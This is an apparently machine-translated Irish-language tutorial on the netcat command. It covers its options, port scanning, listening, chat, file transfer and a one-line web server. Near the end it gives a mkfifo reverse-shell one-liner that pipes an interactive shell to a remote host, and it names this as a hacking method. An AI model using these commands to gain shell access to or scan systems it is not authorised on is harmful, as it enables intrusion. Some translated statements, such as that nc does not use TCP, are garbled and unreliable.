Tá an t-ordú netcat
ag teastáil chun sonraí a tharchur agus a fháil ag baint úsáide as na prótacail TCP agus UDP. Níl sraith mór feidhmeanna aige, ach is leor é chun an nasc agus an dífhabhtú simplí a sheiceáil. Conas cumarsáid a dhéanamh ag baint úsáide as prótacal TCP? Cuireann go leor úsáideoirí an cheist seo. San Airteagal seo freagróimid an cheist seo, agus taispeánfaimid samplaí freisin d'fheidhmiú an ordaithe i bhfíorshaol.
Is uirlis chumhachtach é an t-ordú netcat
(nó nc
) chun oibriú le naisc líonra. Is minic a úsáideann riarthóirí córais agus forbróirí é le haghaidh tascanna éagsúla. Seo iad príomhghnéithe agus cumais netcat
:
Is uirlis ilúsáideach é netcat
ar féidir a úsáid i gcásanna éagsúla, ó theachtaireachtaí simplí go hoibríochtaí líonra casta.
Ar dtús, déanaimis féachaint ar an chomhréir agus ar na cinn is coitianta:
-6
- bain úsáid as prótacal IPv6. Is é an réamhshocrú -4 agus IPv4 faoi seach;-h
– cabhair a thaispeáint le liosta de na paraiméadair atá ar fáil;-i
- moill – cuir moill idir línte seolta nó scanadh poirt. Socraigh i soicindí;-l
– modh éisteachta. A úsáidtear chun an port a chur in iúl;-N
- dún an nasc nuair a bhíonn deireadh an chomhaid bainte amach agus é á sheoladh;-n
- Oibrigh le seoltaí IP go díreach, gan úsáid a bhaint as DNS, díchumasaigh cuardach calafoirt freisin;-P
- user_name - sonraigh an t-ainm úsáideora chun ceangal leis an seachfhreastalaí;-x
- seoladh:port - sonraigh an seoladh agus an port chun nascadh leis an seachfhreastalaí;-p
- port - sonraigh uimhir an phoirt. I bhformhór na gcásanna, léitear an calafort gan paraiméadar a shonrú;-U
– bain úsáid as soicéad fearainn UNIX (do chumarsáid idirphróisis);-u
– úsáid prótacal UDP, úsáidtear TCP de réir réamhshocraithe;-v
– modh briathartha. Úsáidte nuair a scanadh;-W
number_of_packets - dún an nasc tar éis líon áirithe paicéid a fháil;-w
uaineadóir – cuir ar chumas an lasc ama teorainn a chur leis an am nasctha. Socraigh i soicindí;-z
– sonraí seolta a dhíchumasú. Úsáidte nuair a scanadh.Tá an fhoirm seo a leanas ag an ordú (port seoladh paraiméadair):
$ nc
Ansin beidh muid ag caint faoi conas an t-ordú a úsáid.
Is é fíorú an príomhúsáid netcat
. Ba cheart duit dhá pharaiméadar a úsáid -vz
, sonraigh an seoladh agus an port. Is féidir leat raon seoltaí a shonrú, ach sa chás seo is fearr na calafoirt oscailte amháin a scagadh ag baint úsáide as an ordú grep
. Seiceáil muid poirt seoladh an líonra áitiúil:
$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded
Déanaimis calafoirt UDP a scanadh ar an mbealach céanna, ag cur an -u
paraiméadar leis:
$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded
Sa chás seo, ní mór duit fios a bheith agat ar an bpríomhdhifríocht idir TCP agus UDP. Mar sin, i gcalafoirt UDP ar fáil i gcónaí.
Úsáidtear an paraiméadar -l
chun éisteacht ar phort. Is leor é seo go minic, ach is féidir leat modh briathartha a chumasú:
$ nc -nlv 8080
Cuimhnigh go gcaithfidh an calafort a bheith saor agus an prótacal TCP á úsáid agat, nó beidh an earráid úsáide Cheana féin le feiceáil. Mar sin féin, ní féidir le gnáthúsáideoirí gach calafort a úsáid, mar shampla, calafort 80 (HTTP), is dóichí go mbeidh sé á áitiú ag próiseas eile, agus beidh cearta sár-úsáideoirí ag teastáil freisin.
Cumas úsáideach na foirne is ea malartú sonraí. Sampla simplí is ea comhrá téacs. Chun comhrá a thosú ar ríomhaire amháin, rith an áirgiúlacht i mód éisteachta poirt:
$ nc -lp 8080
Ar ríomhaire eile, beidh ort seoladh an chéad ríomhaire agus an port céanna a shonrú. Chomh maith leis sin ná déan dearmad é sin a sheiceáil port oscailte:
$ nc 0.0.0.0 8080
Ar an mbealach seo is féidir leat teachtaireachtaí a sheoladh agus a fháil. Is é sin, tá an t-ordú beartaithe chun comhaid a mhalartú. Tá an prionsabal mar an gcéanna, ach amháin go gcaithfidh tú an t-aschur a atreorú chuig comhad, eadhon paste.txt
:
$ nc -l 8080 > paste.txt
Ar ríomhaire eile, beidh an t-ionchur an comhad copy.txt
. Ba mhaith an smaoineamh é an paraiméadar -N
a úsáid chun an nasc a dhúnadh tar éis an comhad a aistriú:
$ nc -N 0.0.0.0 8080 < copy.txt
Chun comhaid a aistriú, tá sé tábhachtach an t-ord a leanúint, éisteacht a oscailt ar dtús agus gan ach an comhad a sheoladh ansin. Oibríonn an t-ordú nc, ach tá sé i bhfad ón mbealach is fearr chun comhaid a aistriú. Tá uirlisí níos éifeachtaí agus níos úsáidí chun an fhadhb seo a réiteach.
Toisc nach n-oibríonn an t-ordú NC ar an bprótacal TCP, ceadaíonn sé iarratais HTTP a sheoladh agus a fháil. Mar sin, is féidir leis an bhfóntas a bheith ina fhreastalaí gréasáin simplí. Sea, ní féidir aon rud níos cunning ná leathanach stub a dhéanamh ar an mbealach seo, ach ní thógann an oibríocht mórán ama, agus buntáiste eile ná nach gá duit aon rud breise a shuiteáil.
Ag baint úsáide as an sampla, ginfimid freagra HTTP leis an gcomhad index.html
. Má labhairt linn faoi np féin, ba mhaith an smaoineamh é lasc ama a shocrú leis an paraiméadar -w 1
chun an nasc a bhriseadh mura ndéanann an brabhsálaí:
$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done
Chun sonraí a fháil ó shuíomh Gréasáin, is féidir leat iarratas a fhoirmiú agus é a sheoladh chuig an seoladh comhairleach agus chuig an gcalafort. Ach tá an modh seo casta go leor; is fearr an t-ordú CURL cuí a úsáid.
Bunaithe ar na samplaí a pléadh thuas, ní bheadh sé indéanta teacht ar an tátal go gceadaíonn an t-ordú duit cianrochtain a eagrú ar bhlaosc an ríomhaire. Roimhe seo, bhí roinnt roghanna ag áirgiúlacht an NC chun rochtain ar an teirminéal a oscailt. Tá an paraiméadar -e
bainte as an bhfóntas le fada, mar sin ní bheidh rochtain éasca ar an teirminéal a thuilleadh. Tá slándáil an iarratais féin tar éis éirí níos airde, ach is féidir fós oibriú i gcomhar le daoine eile.
Léirímid an nasc ag baint úsáide as an bpíobán mkfifo ainmnithe. Ar an gcéad dul síos, déanaimis tosú ag éisteacht ar an gcalafort ar an ríomhaire a gheobhaidh muid rochtain air:
$ nc -lvnp 8080
Bogfaimid go díreach chuig an ordú chun an teirminéal a oscailt. Ar dtús, scriosfaimid an seanphíopa ainmnithe ( rm /tmp/f
), cruthaigh ceann nua ina áit ( mkfifo /tmp/f
), léigh a bhfuil ann ( cat /tmp/f
), agus seol ordú sliogán chuig a aschur ( sh -i 2>&1
). Ina dhiaidh seo, níl fágtha ach nc a rith le haschur chuig ár bpíopa ainmnithe ( nc 0.0.0.0 8080 >/tmp/f
):
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f
Tabhair faoi deara go bhfuil sé seo ar cheann de na modhanna hacking, áfach, is féidir é a bheith úsáideach i gcás fadhbanna le ssh
. Chun ionsaí a chosc, cumraigh do pholasaí slándála agus balla dóiteáin.